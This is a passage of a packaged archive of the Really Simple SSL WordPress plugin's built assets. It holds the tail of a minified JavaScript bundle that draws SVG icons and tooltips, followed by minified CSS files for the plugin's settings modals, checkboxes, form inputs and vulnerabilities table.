f4",d:"M139.8,240.6c-20.9-8.4-34.1-23.7-38.4-46.7-.8-4.3-1.4-8.7-.4-13,1.8-7.1,6.4-11.4,13.4-13.5,11.8-3.4,24.7,5.3,24.5,17.6,0,4.8,1.4,9.3,4,13.4,.3,.5,.6,.9,.9,1.3,1.6-2.4,3.7-4.6,6.1-6.2,0-.9,0-1.9,.2-2.8-.7-1.7-1.1-3.5-1.2-5.3-.3-6.1-1.6-11.9-5.5-16.8-6.8-8.8-15.9-12.4-27-11.5-11.3,.9-21.6,9.6-24.5,20.6-1.8,6.6-.9,13.3,.4,19.8,2.4,12.9,8.2,24,17.1,33.7,8.6,9.4,18.8,15.8,30.6,19.8v-10.4h-.2Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M47.5,133.2c6.8-8.8,15-16,24.6-21.6,20.8-12,43.2-15.2,66.6-11,14.8,2.7,28.2,8.7,39.9,18.2,6.3,5,11.6,11,16.4,17.4,1.9,2.5,4.8,2.8,7,1.1,2.1-1.7,2.4-4.5,.6-7-5.9-8.2-12.8-15.3-20.9-21.3-18.3-13.6-39.1-19.6-61.7-20-6.3,0-12.5,.6-18.6,1.6-15.7,2.8-30.1,8.6-42.9,18.1-8.3,6.2-15.5,13.5-21.5,22-1.6,2.3-1.3,5.1,.7,6.7,2.1,1.7,4.9,1.5,6.8-.7,1-1.2,1.9-2.5,2.9-3.7l.1,.2Z"}))))),"file-search"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:i,fill:"none",viewBox:"0 0 384 512"},(0,c.createElement)("path",{d:"M374.6 150.6l-141.3-141.3C227.4 3.371 219.2 0 210.7 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.35 0 64-28.66 64-64V173.3C384 164.8 380.6 156.6 374.6 150.6zM224 22.63L361.4 160H248C234.8 160 224 149.2 224 136V22.63zM368 448c0 26.47-21.53 48-48 48H64c-26.47 0-48-21.53-48-48V64c0-26.47 21.53-48 48-48h144v120c0 22.06 17.94 40 40 40h120V448zM176 208c-53.02 0-96 42.98-96 96s42.98 96 96 96c23.62 0 44.96-8.859 61.68-23l68.66 68.66C307.9 447.2 309.9 448 312 448s4.094-.7813 5.656-2.344c3.125-3.125 3.125-8.188 0-11.31l-68.66-68.66C263.1 348.1 272 327.6 272 304C272 250.1 229 208 176 208zM176 384C131.9 384 96 348.1 96 304S131.9 224 176 224S256 259.9 256 304S220.1 384 176 384z"}))),"download"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:i,fill:"none",viewBox:"0 0 512 512"},(0,c.createElement)("path",{d:"M480 352h-88C387.6 352 384 355.6 384 360s3.582 8 8 8H480c8.822 0 16 7.178 16 16v96c0 8.822-7.178 16-16 16H32c-8.822 0-16-7.178-16-16v-96c0-8.822 7.178-16 16-16h88C124.4 368 128 364.4 128 360S124.4 352 120 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96C512 366.3 497.7 352 480 352zM464 432c0-17.6-14.4-32-32-32s-32 14.4-32 32c0 17.6 14.4 32 32 32S464 449.6 464 432zM416 432c0-8.822 7.178-16 16-16s16 7.178 16 16S440.8 448 432 448S416 440.8 416 432zM250.3 413.7c3.125 3.125 8.188 3.125 11.31 0l152-152C415.2 260.1 416 258.1 416 256s-.7813-4.094-2.344-5.656c-3.125-3.125-8.188-3.125-11.31 0L264 388.7V8C264 3.594 260.4 0 256 0S248 3.594 248 8v380.7L109.7 250.3c-3.125-3.125-8.188-3.125-11.31 0s-3.125 8.188 0 11.31L250.3 413.7z"}))),"satellite-dish"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:o[n],height:i,viewBox:"0 0 512 512"},(0,c.createElement)("path",{d:"M208 0c-8.8 0-16 7.2-16 16s7.2 16 16 16c150.2 0 272 121.8 272 272c0 8.8 7.2 16 16 16s16-7.2 16-16C512 136.1 375.9 0 208 0zm0 96c-8.8 0-16 7.2-16 16s7.2 16 16 16c97.2 0 176 78.8 176 176c0 8.8 7.2 16 16 16s16-7.2 16-16c0-114.9-93.1-208-208-208zM32 304c0-24.5 5-47.7 13.9-68.8L276.8 466.1C255.7 475 232.5 480 208 480c-97.2 0-176-78.8-176-176zm33.5-94.5c-14-14-37.3-12.1-45.7 5.8C7.1 242.2 0 272.3 0 304C0 418.9 93.1 512 208 512c31.7 0 61.8-7.1 88.7-19.8c17.9-8.4 19.8-31.8 5.8-45.7L195.3 339.3l24-24c6.3 3 13.3 4.7 20.7 4.7c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48c0 7.4 1.7 14.4 4.7 20.7l-24 24L65.5 209.5zM224 272a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"}))),"rotate-light"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:o[n],height:i,viewBox:"0 0 512 512"},(0,c.createElement)("path",{d:"M426.1 301.2C406.2 376.5 337.6 432 256 432c-51 0-96.9-21.7-129-56.3l41-41c5.1-5.1 8-12.1 8-19.3c0-15.1-12.2-27.3-27.3-27.3H48c-8.8 0-16 7.2-16 16V404.7C32 419.8 44.2 432 59.3 432c7.2 0 14.2-2.9 19.3-8l25.7-25.7C142.3 438.7 196.2 464 256 464c97.4 0 179.2-67 201.8-157.4c2.4-9.7-5.2-18.6-15.2-18.6c-7.8 0-14.5 5.6-16.5 13.2zM385 136.3l-41 41c-5.1 5.1-8 12.1-8 19.3c0 15.1 12.2 27.3 27.3 27.3H464c8.8 0 16-7.2 16-16V107.3C480 92.2 467.8 80 452.7 80c-7.2 0-14.2 2.9-19.3 8l-25.7 25.7C369.7 73.3 315.8 48 256 48C158.6 48 76.8 115 54.2 205.4c-2.4 9.7 5.2 18.6 15.2 18.6c7.8 0 14.5-5.6 16.5-13.2C105.8 135.5 174.4 80 256 80c51 0 96.9 21.7 129.1 56.3zM448 192H374.6L448 118.6V192zM64 320h73.4L64 393.4V320z"}))),"rotate-exclamation-light"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("defs",null,(0,c.createElement)("style",null,`\n            .fa-secondary {\n              opacity: 0.4;\n              color: ${o[n]};\n            }\n          `)),(0,c.createElement)("path",{className:"fa-primary",d:"M280 152c0-13.3-10.7-24-24-24s-24 10.7-24 24V264c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM256 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"}),(0,c.createElement)("path",{className:"fa-secondary",d:"M432 117.4C391 65.4 327.4 32 256 32C158.4 32 75.5 94.4 44.8 181.3c-5.9 16.7 2.8 34.9 19.5 40.8s34.9-2.8 40.8-19.5C127.1 140.5 186.4 96 256 96c52.3 0 98.8 25.1 128 64H352c-17.7 0-32 14.3-32 32s14.3 32 32 32h84.3c.5 0 1 0 1.5 0H464c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32s-32 14.3-32 32v37.4zm35.2 213.2c5.9-16.7-2.8-34.9-19.5-40.8s-34.9 2.8-40.8 19.5C384.9 371.5 325.6 416 256 416c-52.3 0-98.8-25.1-128-64h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32V432c0 17.7 14.3 32 32 32s32-14.3 32-32V394.6c41 52 104.6 85.4 176 85.4c97.6 0 180.5-62.4 211.2-149.3z"}))),"radar-duotone"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("defs",null,(0,c.createElement)("style",null,`\n            .fa-secondary {\n              color: ${o[n]} !important;\n            }        \n          `)),(0,c.createElement)("path",{className:"fa-primary",d:"M497 49c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-182 182c-7.7-3.3-16.1-5.1-25-5.1c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64c0-8.9-1.8-17.3-5.1-25L497 49z"}),(0,c.createElement)("path",{className:"fa-secondary",d:"M350.9 127.2l-46.1 46.1c-14.3-8.4-31-13.3-48.8-13.3c-53 0-96 43-96 96s43 96 96 96s96-43 96-96h64c0 73.5-49.6 135.5-117.2 154.2C290.8 394.7 274.7 384 256 384s-34.8 10.7-42.8 26.2c-51.7-14.3-92.8-53.9-109.4-104.6c14.4-8.3 24.1-23.8 24.1-41.7c0-19.4-11.5-36.1-28-43.7C116.2 149.1 179.9 96 256 96c35.5 0 68.3 11.6 94.9 31.2zm22.8-22.8C341.2 79 300.4 64 256 64C163.1 64 85.7 129.9 67.9 217.6C47.2 222.9 32 241.7 32 264c0 23.8 17.3 43.6 40.1 47.4c19.3 64.3 71.5 114.4 137 130.9C213.8 463.8 233 480 256 480s42.2-16.2 46.9-37.8C386.3 421.3 448 345.9 448 256h64c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0c62.1 0 118.9 22.1 163.3 58.8l-45.5 45.5z"}))),"satellite-dish-duotone"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("defs",null,(0,c.createElement)("style",null,`\n            .fa-secondary {\n              color: ${o[n]} !important;\n            }        \n          `)),(0,c.createElement)("path",{className:"fa-primary",d:"M60.6 220.6c-14.5-14.5-38.8-11.8-46.3 7.3C5.1 251.5 0 277.1 0 304C0 418.9 93.1 512 208 512c26.9 0 52.5-5.1 76.1-14.4c19-7.5 21.8-31.8 7.3-46.3L187.3 347.3l28.4-28.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3l-28.4 28.4L60.6 220.6z"}),(0,c.createElement)("path",{className:"fa-secondary",d:"M224 0c-17.7 0-32 14.3-32 32s14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0zm0 96c-17.7 0-32 14.3-32 32s14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192z"}))),"spinner"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",width:"20",height:"20"},(0,c.createElement)("defs",null,(0,c.createElement)("style",null,"\n                            .fa-secondary {\n                              opacity: 0.4;\n                            }\n                          ")),(0,c.createElement)("path",{className:"fa-primary",d:"M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 256A48 48 0 1 0 0 256a48 48 0 1 0 96 0zM75 142.9A48 48 0 1 0 142.9 75 48 48 0 1 0 75 142.9z"}),(0,c.createElement)("path",{className:"fa-secondary",d:"M369.1 75A48 48 0 1 1 437 142.9 48 48 0 1 1 369.1 75zM416 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM208 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM75 369.1A48 48 0 1 1 142.9 437 48 48 0 1 1 75 369.1zm294.2 0A48 48 0 1 1 437 437a48 48 0 1 1 -67.9-67.9z"}))),(0,c.createElement)("div",{...e,ref:l},m)})),r=({name:e,color:l,size:t,tooltip:r})=>{const n=e||"bullet",i=l||"black";let o=t||15,m=r?"tooltip-":"",h=Math.floor(1e9*Math.random());return r?(0,c.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+n+" rsssl-"+i},(0,c.createElement)(s,{"data-for":".rsssl-"+h,name:n,color:i,size:o,id:h,className:"rsssl-"+h,"data-tooltip-delay-hide":200}),(0,c.createElement)(a.m_,{style:{zIndex:99},id:h,place:"bottom",anchorSelect:".rsssl-"+h,content:r})):(0,c.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+n+" rsssl-"+i},(0,c.createElement)(s,{name:n,color:i,size:o}))}}}]);really-simple-ssl/settings/build/814.css000064400000023031147510273070014114 0ustar00.rsssl input.MuiInput-underline:before,.rsssl-modal-body input.MuiInput-underline:before{display:none}.rsssl .MuiAutocomplete-root .MuiInputLabel-outlined[data-shrink=false],.rsssl-modal-body .MuiAutocomplete-root .MuiInputLabel-outlined[data-shrink=false]{transform:translate(14px,16px) scale(1)}.rsssl .MuiAutocomplete-root .MuiFormLabel-root,.rsssl-modal-body .MuiAutocomplete-root .MuiFormLabel-root{font-family:inherit}.rsssl .MuiAutocomplete-root .MuiOutlinedInput-root,.rsssl-modal-body .MuiAutocomplete-root .MuiOutlinedInput-root{padding:0}.rsssl input.MuiAutocomplete-input[type=text],.rsssl-modal-body input.MuiAutocomplete-input[type=text]{border:0;padding-left:12px}.rsssl input.MuiAutocomplete-input[type=text]:focus,.rsssl-modal-body input.MuiAutocomplete-input[type=text]:focus{box-shadow:none;outline:none}.rsssl .MuiInputBase-root,.rsssl-modal-body .MuiInputBase-root{font-family:inherit}.rsssl .MuiInput-root input.MuiInputBase-input,.rsssl-modal-body .MuiInput-root input.MuiInputBase-input{padding-left:10px}.rsssl .MuiPaper-root,.rsssl .MuiPopper-root,.rsssl-modal-body .MuiPaper-root,.rsssl-modal-body .MuiPopper-root{max-height:150px;z-index:999999}.rsssl .MuiPaper-root div,.rsssl .MuiPopper-root div,.rsssl-modal-body .MuiPaper-root div,.rsssl-modal-body .MuiPopper-root div{font-family:inherit!important}.rsssl .MuiPaper-root ul,.rsssl .MuiPopper-root ul,.rsssl-modal-body .MuiPaper-root ul,.rsssl-modal-body .MuiPopper-root ul{max-height:none}
.rsssl-modal-premium-container{background-color:var(--rsp-dark-blue);color:#fff;margin-right:22px;padding:0 5px}
.rsssl-le-activate_ssl .rsssl-modal-checkbox-container,.rsssl-modal-body .rsssl-modal-checkbox-container{cursor:pointer;display:block;font-size:12px;margin-bottom:5px;overflow:unset!important;padding-left:10px;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container:hover input~.rsssl-checkmark,.rsssl-modal-body .rsssl-modal-checkbox-container:hover input~.rsssl-checkmark{background-color:var(--rsp-grey-400);border:1px solid var(--rsp-grey-400);border-radius:3px}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container input:checked~.rsssl-checkmark,.rsssl-modal-body .rsssl-modal-checkbox-container input:checked~.rsssl-checkmark{background-color:var(--rsp-dark-blue);border:1px solid var(--rsp-dark-blue)}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container input:disabled~.rsssl-checkmark,.rsssl-modal-body .rsssl-modal-checkbox-container input:disabled~.rsssl-checkmark{background-color:var(--rsp-grey-400);border:1px solid var(--rsp-grey-400)}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container input:checked~.rsssl-checkmark:after,.rsssl-modal-body .rsssl-modal-checkbox-container input:checked~.rsssl-checkmark:after{display:block}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container .rsssl-checkmark:after,.rsssl-modal-body .rsssl-modal-checkbox-container .rsssl-checkmark:after{border:solid #fff;border-width:0 2px 2px 0;height:7px;left:6px;top:3px;transform:rotate(45deg);-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);width:5px}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container input,.rsssl-modal-body .rsssl-modal-checkbox-container input{cursor:pointer;height:0;opacity:0;width:0}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container .rsssl-checkmark,.rsssl-modal-body .rsssl-modal-checkbox-container .rsssl-checkmark{aspect-ratio:1;background-color:var(--rsp-grey-300);border:1px solid var(--rsp-grey-400);height:var(--rsp-fs-600);left:0;position:absolute;top:0}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container .rsssl-checkmark:after,.rsssl-modal-body .rsssl-modal-checkbox-container .rsssl-checkmark:after{content:"";display:none;position:absolute}
.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-override-detection-toggle,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-override-detection-toggle{margin-bottom:-15px}.rsssl-letsencrypt .rsssl-le-activate_ssl input[type=email],.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body input[type=email]{border:2px solid;border-color:var(--rsp-grey-300);height:50px;margin-bottom:var(--rsp-spacing-m);width:100%}.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-select label,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-select label{display:none}.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-select .components-select-control__input,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-select .components-select-control__input{color:var(--rsp-grey-500);height:45px;padding:8px 20px}.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-activate_ssl ul,.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-plugins ul,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-activate_ssl ul,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-plugins ul{-moz-column-count:1;column-count:1}.rsssl-letsencrypt .rsssl-le-activate_ssl ul li,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body ul li{align-items:flex-start;display:flex;margin-bottom:var(--rsp-spacing-xxs)}.rsssl-letsencrypt .rsssl-le-activate_ssl ul li.rsssl-is-plugin,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body ul li.rsssl-is-plugin{background-color:var(--rsp-grey-100);border:none;margin:10px 0;padding:5px 0;position:relative}.rsssl-letsencrypt .rsssl-le-activate_ssl ul li .rsssl-icon,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body ul li .rsssl-icon{margin-right:7px}
:root{--rsp-spacing-xxs:5px;--rsp-spacing-xs:10px;--rsp-spacing-s:15px;--rsp-spacing-m:20px;--rsp-spacing-l:25px;--rsp-spacing-xl:30px;--rsp-grid-margin:var(--rsp-spacing-s);--rsp-grid-gap:var(--rsp-spacing-m);--rsp-border-radius:12px;--rsp-border-radius-s:8px;--rsp-border-radius-xs:3px;--rsp-border:1px solid var(--rsp-border-color);--rsp-box-shadow:rgba(0,0,0,.1) 0px 4px 6px -1px,rgba(0,0,0,.06) 0px 2px 4px -1px;--rsp-box-shadow-dark:rgba(0,0,0,.2) 0px 4px 6px -1px,rgba(0,0,0,.12) 1px 0px 4px 1px;--rsp-border-color:#dfdfdf;--rsp-black:#333;--rsp-white:#fff;--rsp-yellow:#fbc43e;--rsp-blue:#009fff;--rsp-dark-yellow:#e6a800;--rsp-dark-blue:#1e73be;--rsp-green:#2e8a37;--rsp-red:#d7263d;--rsp-dark-red:#9b0212;--rsp-pink:#e35899;--rsp-wp-blue:#007cba;--rsp-yellow-faded:#fdf4df;--rsp-blue-faded:#ecf8fe;--rsp-dark-blue-faded:#ebf2f9;--rsp-green-faded:#ecf4ed;--rsp-red-faded:#fbebed;--rsp-pink-faded:#fceff5;--rsp-wp-blue-faded:#c6e0ef;--rsp-background-block-color:var(--rsp-white);--rsp-background-color:#f0f0f1;--rsp-input-background-color:#fff;--rsp-input-text-color:var(--rsp-text-color);--rsp-input-border-color:var(--rsp-grey-400);--rsp-text-color:rgba(26,26,26,.9);--rsp-text-color-invert:hsla(0,0%,100%,.9);--rsp-text-color-white:hsla(0,0%,100%,.9);--rsp-text-color-light:rgba(69,69,82,.9);--rsp-text-color-hover:var(--rsp-green);--rsp-grey-100:#fafafa;--rsp-grey-200:#f7f7f7;--rsp-grey-300:#ededed;--rsp-grey-400:#c6c6c6;--rsp-grey-500:#737373;--rsp-grey-600:#696969;--rsp-color-success:var(--rsp-green);--rsp-color-error:var(--rsp-red);--rsp-color-warning:var(--rsp-yellow);--rsp-color-open:var(--rsp-yellow);--rsp-color-disabled:var(--rsp-grey-300);--rsp-fs-100:0.6875rem;--rsp-fs-200:0.75rem;--rsp-fs-300:0.8125rem;--rsp-fs-400:0.875rem;--rsp-fs-500:1rem;--rsp-fs-600:1.125rem;--rsp-fs-700:1.25rem;--rsp-fs-800:1.5rem;--rsp-fs-850:2.8rem;--rsp-fs-900:3.5rem}@keyframes fade-in{0%{opacity:0}to{opacity:1}}.rsssl-modal{border-radius:var(--rsp-border-radius) var(--rsp-border-radius);border-top:1px solid var(--rsp-grey-300);box-shadow:var(--rsp-box-shadow);margin:auto;max-height:calc(100% - 120px);max-width:700px;overflow:visible;padding:var(--rsp-spacing-m) var(--rsp-spacing-l);width:700px}@media(max-width:768px){.rsssl-modal{width:100%}}.rsssl-modal .components-modal__content{margin-top:45px;min-height:250px;padding:0}.rsssl-modal .components-modal__content>div:nth-child(2){display:flex;flex-direction:column;height:100%}.rsssl-modal .rsssl-modal-body{flex-grow:1;padding:12px 8px 80px}@media(max-width:768px){.rsssl-modal .rsssl-modal-body{padding:12px 8px 180px}}.rsssl-modal .rsssl-modal-body p{margin-top:0}.rsssl-modal .rsssl-modal-body ul{-moz-column-count:2;column-count:2;-moz-column-gap:20px;column-gap:20px;margin-bottom:0}.rsssl-modal .rsssl-modal-body ul li{display:flex;padding-bottom:5px}.rsssl-modal .rsssl-modal-body ul li .rsssl-icon{margin-right:10px;margin-top:2px}.rsssl-modal .rsssl-modal-footer{align-items:center;background-color:var(--rsp-grey-200);border-bottom-left-radius:var(--rsp-border-radius) var(--rsp-border-radius);border-bottom-right-radius:var(--rsp-border-radius) var(--rsp-border-radius);border-top:1px solid var(--rsp-grey-400);bottom:0;display:flex;justify-content:space-between;left:0;padding:20px 32px;position:absolute;right:0}.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-buttons{display:flex}.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-buttons .rsssl-activate-license-text{color:var(--rsp-red);margin-right:10px}.rsssl-modal .rsssl-modal-footer img{width:150px}@media(max-width:768px){.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-image{display:none}.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-buttons{align-items:center;display:flex;flex-direction:column;gap:10px;width:100%}.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-buttons button{margin:0;width:100%}}.rsssl-modal .rsssl-modal-footer button+a,.rsssl-modal .rsssl-modal-footer button+button{margin-left:10px}.rsssl-modal .rsssl-modal-footer button:not(.is-primary){background-color:transparent;border:1px solid var(--wp-admin-theme-color,#3858e9);color:var(--wp-admin-theme-color,#3858e9)}.rsssl-modal .rsssl-modal-footer button.rsssl-modal-warning{background-color:transparent;border:1px solid var(--rsp-red);color:var(--rsp-red)}
really-simple-ssl/settings/build/928.css000064400000023523147510273070014130 0ustar00.rsssl input.MuiInput-underline:before,.rsssl-modal-body input.MuiInput-underline:before{display:none}.rsssl .MuiAutocomplete-root .MuiInputLabel-outlined[data-shrink=false],.rsssl-modal-body .MuiAutocomplete-root .MuiInputLabel-outlined[data-shrink=false]{transform:translate(14px,16px) scale(1)}.rsssl .MuiAutocomplete-root .MuiFormLabel-root,.rsssl-modal-body .MuiAutocomplete-root .MuiFormLabel-root{font-family:inherit}.rsssl .MuiAutocomplete-root .MuiOutlinedInput-root,.rsssl-modal-body .MuiAutocomplete-root .MuiOutlinedInput-root{padding:0}.rsssl input.MuiAutocomplete-input[type=text],.rsssl-modal-body input.MuiAutocomplete-input[type=text]{border:0;padding-left:12px}.rsssl input.MuiAutocomplete-input[type=text]:focus,.rsssl-modal-body input.MuiAutocomplete-input[type=text]:focus{box-shadow:none;outline:none}.rsssl .MuiInputBase-root,.rsssl-modal-body .MuiInputBase-root{font-family:inherit}.rsssl .MuiInput-root input.MuiInputBase-input,.rsssl-modal-body .MuiInput-root input.MuiInputBase-input{padding-left:10px}.rsssl .MuiPaper-root,.rsssl .MuiPopper-root,.rsssl-modal-body .MuiPaper-root,.rsssl-modal-body .MuiPopper-root{max-height:150px;z-index:999999}.rsssl .MuiPaper-root div,.rsssl .MuiPopper-root div,.rsssl-modal-body .MuiPaper-root div,.rsssl-modal-body .MuiPopper-root div{font-family:inherit!important}.rsssl .MuiPaper-root ul,.rsssl .MuiPopper-root ul,.rsssl-modal-body .MuiPaper-root ul,.rsssl-modal-body .MuiPopper-root ul{max-height:none}
.rsssl-modal-premium-container{background-color:var(--rsp-dark-blue);color:#fff;margin-right:22px;padding:0 5px}
.rsssl-le-activate_ssl .rsssl-modal-checkbox-container,.rsssl-modal-body .rsssl-modal-checkbox-container{cursor:pointer;display:block;font-size:12px;margin-bottom:5px;overflow:unset!important;padding-left:10px;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container:hover input~.rsssl-checkmark,.rsssl-modal-body .rsssl-modal-checkbox-container:hover input~.rsssl-checkmark{background-color:var(--rsp-grey-400);border:1px solid var(--rsp-grey-400);border-radius:3px}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container input:checked~.rsssl-checkmark,.rsssl-modal-body .rsssl-modal-checkbox-container input:checked~.rsssl-checkmark{background-color:var(--rsp-dark-blue);border:1px solid var(--rsp-dark-blue)}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container input:disabled~.rsssl-checkmark,.rsssl-modal-body .rsssl-modal-checkbox-container input:disabled~.rsssl-checkmark{background-color:var(--rsp-grey-400);border:1px solid var(--rsp-grey-400)}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container input:checked~.rsssl-checkmark:after,.rsssl-modal-body .rsssl-modal-checkbox-container input:checked~.rsssl-checkmark:after{display:block}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container .rsssl-checkmark:after,.rsssl-modal-body .rsssl-modal-checkbox-container .rsssl-checkmark:after{border:solid #fff;border-width:0 2px 2px 0;height:7px;left:6px;top:3px;transform:rotate(45deg);-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);width:5px}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container input,.rsssl-modal-body .rsssl-modal-checkbox-container input{cursor:pointer;height:0;opacity:0;width:0}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container .rsssl-checkmark,.rsssl-modal-body .rsssl-modal-checkbox-container .rsssl-checkmark{aspect-ratio:1;background-color:var(--rsp-grey-300);border:1px solid var(--rsp-grey-400);height:var(--rsp-fs-600);left:0;position:absolute;top:0}.rsssl-le-activate_ssl .rsssl-modal-checkbox-container .rsssl-checkmark:after,.rsssl-modal-body .rsssl-modal-checkbox-container .rsssl-checkmark:after{content:"";display:none;position:absolute}
.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-override-detection-toggle,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-override-detection-toggle{margin-bottom:-15px}.rsssl-letsencrypt .rsssl-le-activate_ssl input[type=email],.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body input[type=email]{border:2px solid;border-color:var(--rsp-grey-300);height:50px;margin-bottom:var(--rsp-spacing-m);width:100%}.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-select label,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-select label{display:none}.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-select .components-select-control__input,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-select .components-select-control__input{color:var(--rsp-grey-500);height:45px;padding:8px 20px}.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-activate_ssl ul,.rsssl-letsencrypt .rsssl-le-activate_ssl .rsssl-plugins ul,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-activate_ssl ul,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body .rsssl-plugins ul{-moz-column-count:1;column-count:1}.rsssl-letsencrypt .rsssl-le-activate_ssl ul li,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body ul li{align-items:flex-start;display:flex;margin-bottom:var(--rsp-spacing-xxs)}.rsssl-letsencrypt .rsssl-le-activate_ssl ul li.rsssl-is-plugin,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body ul li.rsssl-is-plugin{background-color:var(--rsp-grey-100);border:none;margin:10px 0;padding:5px 0;position:relative}.rsssl-letsencrypt .rsssl-le-activate_ssl ul li .rsssl-icon,.rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body ul li .rsssl-icon{margin-right:7px}
.rsssl-vulnerabilities_overview div[data-column-id="4"].rdt_TableCol{display:block}.rsssl-vulnerabilities_overview .rdt_TableCell:last-child{flex:auto;margin-right:0;padding-right:20px}
div[class$=MenuPortal]{z-index:30}
.rsssl input.MuiInput-underline:before,.rsssl-modal-body input.MuiInput-underline:before{display:none}.rsssl .MuiAutocomplete-root .MuiInputLabel-outlined[data-shrink=false],.rsssl-modal-body .MuiAutocomplete-root .MuiInputLabel-outlined[data-shrink=false]{transform:translate(14px,16px) scale(1)}.rsssl .MuiAutocomplete-root .MuiFormLabel-root,.rsssl-modal-body .MuiAutocomplete-root .MuiFormLabel-root{font-family:inherit}.rsssl .MuiAutocomplete-root .MuiOutlinedInput-root,.rsssl-modal-body .MuiAutocomplete-root .MuiOutlinedInput-root{padding:0}.rsssl input.MuiAutocomplete-input[type=text],.rsssl-modal-body input.MuiAutocomplete-input[type=text]{border:0;padding-left:12px}.rsssl input.MuiAutocomplete-input[type=text]:focus,.rsssl-modal-body input.MuiAutocomplete-input[type=text]:focus{box-shadow:none;outline:none}.rsssl .MuiInputBase-root,.rsssl-modal-body .MuiInputBase-root{font-family:inherit}.rsssl .MuiInput-root input.MuiInputBase-input,.rsssl-modal-body .MuiInput-root input.MuiInputBase-input{padding-left:10px}.rsssl .MuiPaper-root,.rsssl .MuiPopper-root,.rsssl-modal-body .MuiPaper-root,.rsssl-modal-body .MuiPopper-root{max-height:150px;z-index:999999}.rsssl 